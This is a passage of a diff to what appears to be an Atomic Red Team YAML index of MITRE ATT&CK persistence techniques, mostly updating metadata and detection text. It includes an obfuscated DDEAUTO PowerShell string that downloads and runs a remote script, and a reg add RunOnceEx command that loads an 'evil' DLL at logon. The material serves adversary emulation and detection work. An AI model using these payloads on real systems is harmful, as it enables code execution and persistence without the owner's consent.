proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence) Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon) - - Detection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence) - - Platforms: Windows - - Data Sources: Process monitoring, DLL monitoring, Windows Registry - - Permissions Required: Administrator, SYSTEM - - System Requirements: netsh - - Contributors: Matthew Demaske, Adaptforward - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1128 + - external_id: T1128 + url: https://attack.mitre.org/techniques/T1128 source_name: mitre-attack - external_id: T1128 - - description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. + - url: https://technet.microsoft.com/library/bb490939.aspx + description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. source_name: TechNet Netsh - url: https://technet.microsoft.com/library/bb490939.aspx - - description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL + - url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html + description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. source_name: Demaske Netsh Persistence - url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html - - description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved + - url: https://github.com/outflankbv/NetshHelperBeacon + description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. source_name: Github Netsh Helper CS Beacon - url: https://github.com/outflankbv/NetshHelperBeacon object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:40.168Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Matthew Demaske, Adaptforward x_mitre_data_sources: - - Process monitoring - DLL monitoring - Windows Registry + - Process monitoring + x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes + in most environments. Monitor process executions and investigate any child + processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh + registry key for any new or suspicious entries that do not correlate with + known system files or benign software. (Citation: Demaske Netsh Persistence)' x_mitre_permissions_required: - Administrator - SYSTEM + x_mitre_platforms: + - Windows x_mitre_system_requirements: - "[[Software/S0108|netsh]]" - x_mitre_contributors: - - Matthew Demaske, Adaptforward - id: attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:40.168Z' identifier: T1128 atomic_tests: - name: Netsh Helper DLL Registration @@ -2326,6 +2372,8 @@ persistence: ' T1050: technique: + id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: New Service description: "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet @@ -2334,63 +2382,64 @@ persistence: may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating - system or benign software with Masquerading. Services may be created with - administrator privileges but are executed under SYSTEM privileges, so an adversary - may also use a service to escalate privileges from administrator to SYSTEM. - Adversaries may also directly start services through Service Execution.\n\nDetection: - Monitor service creation through changes in the Registry and common utilities - using command-line invocation. New, benign services may be created during - installation of new software. Data and events should not be viewed in isolation, - but as part of a chain of behavior that could lead to other activities, such - as network connections made for Command and Control, learning details about - the environment through Discovery, and Lateral Movement.\n\nTools such as - Sysinternals Autoruns may also be used to detect system changes that could - be attempts at persistence. (Citation: TechNet Autoruns) Look for changes - to services that do not correlate with known software, patch cycles, etc. - Suspicious program execution through services may show up as outlier processes - that have not been seen before when compared against historical data.\n\nMonitor - processes and command-line arguments for actions that could create services. - Remote access tools with built-in features may interact directly with the - Windows API to perform these functions outside of typical system utilities. - Services may also be created through Windows system management tools such - as Windows Management Instrumentation and PowerShell, so additional logging - may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData - Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective - Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). + Services may be created with administrator privileges but are executed under + SYSTEM privileges, so an adversary may also use a service to escalate privileges + from administrator to SYSTEM. Adversaries may also directly start services + through [Service Execution](https://attack.mitre.org/techniques/T1035)." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1050 + - external_id: T1050 + url: https://attack.mitre.org/techniques/T1050 source_name: mitre-attack - external_id: T1050 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - external_id: CAPEC-550 + url: https://capec.mitre.org/data/definitions/550.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/cc772408.aspx + description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. + source_name: TechNet Services + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. - source_name: TechNet Services - url: https://technet.microsoft.com/en-us/library/cc772408.aspx + - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service + was installed in the system. Retrieved August 7, 2018.' + source_name: Microsoft 4697 APR 2017 + - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection + description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding + to help with intrusion detection. Retrieved August 7, 2018. + source_name: Microsoft Windows Event Forwarding FEB 2018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:45.613Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Pedro Harrison x_mitre_data_sources: - Windows Registry - Process monitoring - Process command-line parameters + - Windows event logs + x_mitre_detection: |- + Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:45.613Z' identifier: T1050 atomic_tests: - name: Service Installation @@ -2439,11 +2488,13 @@ persistence: (Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete() T1137: technique: + id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Office Application Startup description: |- Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started. - ===Office Template Macros=== + ### Office Template Macros Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) @@ -2455,92 +2506,80 @@ persistence: An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. - ===Office Test=== + ### Office Test A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test) HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf - ===Add-ins=== + ### Add-ins Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins) - - Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated. - - Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins) - - Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring - - Permissions Required: User, Administrator - - System Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 - Add-ins: some require administrator permissions - - Contributors: Ricardo Dias, Loic Jaquemet - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1137 + - external_id: T1137 + url: https://attack.mitre.org/techniques/T1137 source_name: mitre-attack - external_id: T1137 - - description: Microsoft. (n.d.). Change the Normal template (Normal.dotm). + - url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea + description: Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017. source_name: Microsoft Change Normal Template - url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea - - description: Austin, J. (2017, June 6). Getting Started with VBA in Office. + - url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office + description: Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017. source_name: MSDN VBA in Office - url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office - - description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. + - url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ + description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017. source_name: enigma0x3 normal.dotm - url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ - - description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. + - url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ + description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017. source_name: Hexacorn Office Template Macros - url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ - - description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. + - url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/ + description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017. source_name: Hexacorn Office Test - url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/ - - description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017. + - url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460 + description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017. source_name: Microsoft Office Add-ins - url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460 - - description: Knowles, W. (2017, April 21). Add-In Opportunities for Office + - url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ + description: Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017. source_name: MRWLabs Office Persistence Add-ins - url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Loic Jaquemet + - Ricardo Dias x_mitre_data_sources: - Process monitoring - Process command-line parameters - Windows Registry - File monitoring + x_mitre_detection: |- + Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated. + + Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins) + + Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. x_mitre_permissions_required: - User - Administrator + x_mitre_platforms: + - Windows x_mitre_system_requirements: - |- Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 Add-ins: some require administrator permissions - x_mitre_contributors: - - Ricardo Dias - - Loic Jaquemet - id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1137 atomic_tests: - name: DDEAUTO @@ -2577,6 +2616,8 @@ persistence: 10. DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\v1.0\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http:///download.ps1'); # " "Microsoft Document Security Add-On" T1150: technique: + id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Plist Modification description: "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are @@ -2588,43 +2629,26 @@ persistence: (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them - as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: - File system monitoring can determine if plist files are being modified. Users - should not have permission to modify these in most cases. Some software tools - like \"Knock Knock\" can detect persistence mechanisms and point to the specific - files that are being referenced. This can be helpful to see what is actually - being executed.\n\nMonitor process execution for abnormal process execution - resulting from modified plist files. Monitor utilities used to modify plist - files or that take a plist file as an argument, which may indicate suspicious - activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, - Process command-line parameters\n\nDefense Bypassed: Application whitelisting, - Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: - User, Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1150 + - external_id: T1150 + url: https://attack.mitre.org/techniques/T1150 source_name: mitre-attack - external_id: T1150 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: |- + File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. + + Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -2632,9 +2656,18 @@ persistence: x_mitre_permissions_required: - User - Administrator - id: attack-pattern--06780952-177c-4247-b978-79c357fb311f - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1150 atomic_tests: - name: Plist Modification @@ -2657,48 +2690,44 @@ persistence: 2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md) T1163: technique: + id: attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Rc.common description: |- During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used. Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence). - - Detection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior. - - Platforms: macOS - - Data Sources: File monitoring, Process Monitoring - - Permissions Required: root - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1163 + - external_id: T1163 + url: https://attack.mitre.org/techniques/T1163 source_name: mitre-attack - external_id: T1163 - - description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. source_name: Startup Items - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring + x_mitre_detection: The /etc/rc.common file can be monitored to + detect changes from the company policy. Monitor process execution resulting + from the rc.common script for unusual or unknown applications or behavior. + x_mitre_platforms: + - macOS x_mitre_permissions_required: - root - id: attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1163 atomic_tests: - name: rc.common @@ -2716,40 +2745,41 @@ persistence: ' T1164: technique: + id: attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Re-opened Applications description: "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist - and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. + and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time - the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: - Monitoring the specific plist files associated with reopening applications - can indicate when an application has registered itself to be reopened.\n\nPlatforms: - macOS\n\nPermissions Required: User" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + the user reboots their machine (Citation: Methods of Mac Malware Persistence)." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1164 + - external_id: T1164 + url: https://attack.mitre.org/techniques/T1164 source_name: mitre-attack - external_id: T1164 - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_detection: Monitoring the specific plist files associated with reopening + applications can indicate when an application has registered itself to be + reopened. x_mitre_platforms: - macOS x_mitre_permissions_required: - User - id: attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1164 atomic_tests: - name: Re-Opened Applications @@ -2788,51 +2818,75 @@ persistence: sudo defaults delete com.apple.loginwindow LoginHook T1060: technique: - name: Registry Run Keys / Start Folder + id: attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Registry Run Keys / Startup Folder description: |- - Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level. - - Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs. + Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. - Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. + The following run keys are created by default on Windows systems: + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce - Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - - Platforms: Windows + The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Visa and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018) - Data Sources: Windows Registry, File monitoring + The following Registry keys can be used to set startup folder items for persistence: + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders + * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders + * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Permissions Required: User, Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1060 + - external_id: T1060 + url: https://attack.mitre.org/techniques/T1060 source_name: mitre-attack - external_id: T1060 - - description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November + - external_id: CAPEC-270 + url: https://capec.mitre.org/data/definitions/270.html + source_name: capec + - url: http://msdn.microsoft.com/en-us/library/aa376977 + description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. source_name: Microsoft Run Key - url: http://msdn.microsoft.com/en-us/library/aa376977 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key + description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry + Key. Retrieved June 29, 2018. + source_name: Microsoft RunOnceEx APR 2018 + - url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ + description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden + from Autoruns.exe. Retrieved June 29, 2018. + source_name: Oddvar Moe RunOnceEx Mar 2018 + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:49.988Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe x_mitre_data_sources: - Windows Registry - File monitoring + x_mitre_detection: |- + Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. + + Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_permissions_required: - User - Administrator - id: attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows + x_mitre_system_requirements: + - HKEY_LOCAL_MACHINE keys require administrator access to create and modify type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:49.988Z' identifier: T1060 atomic_tests: - name: Reg Key Run @@ -2906,93 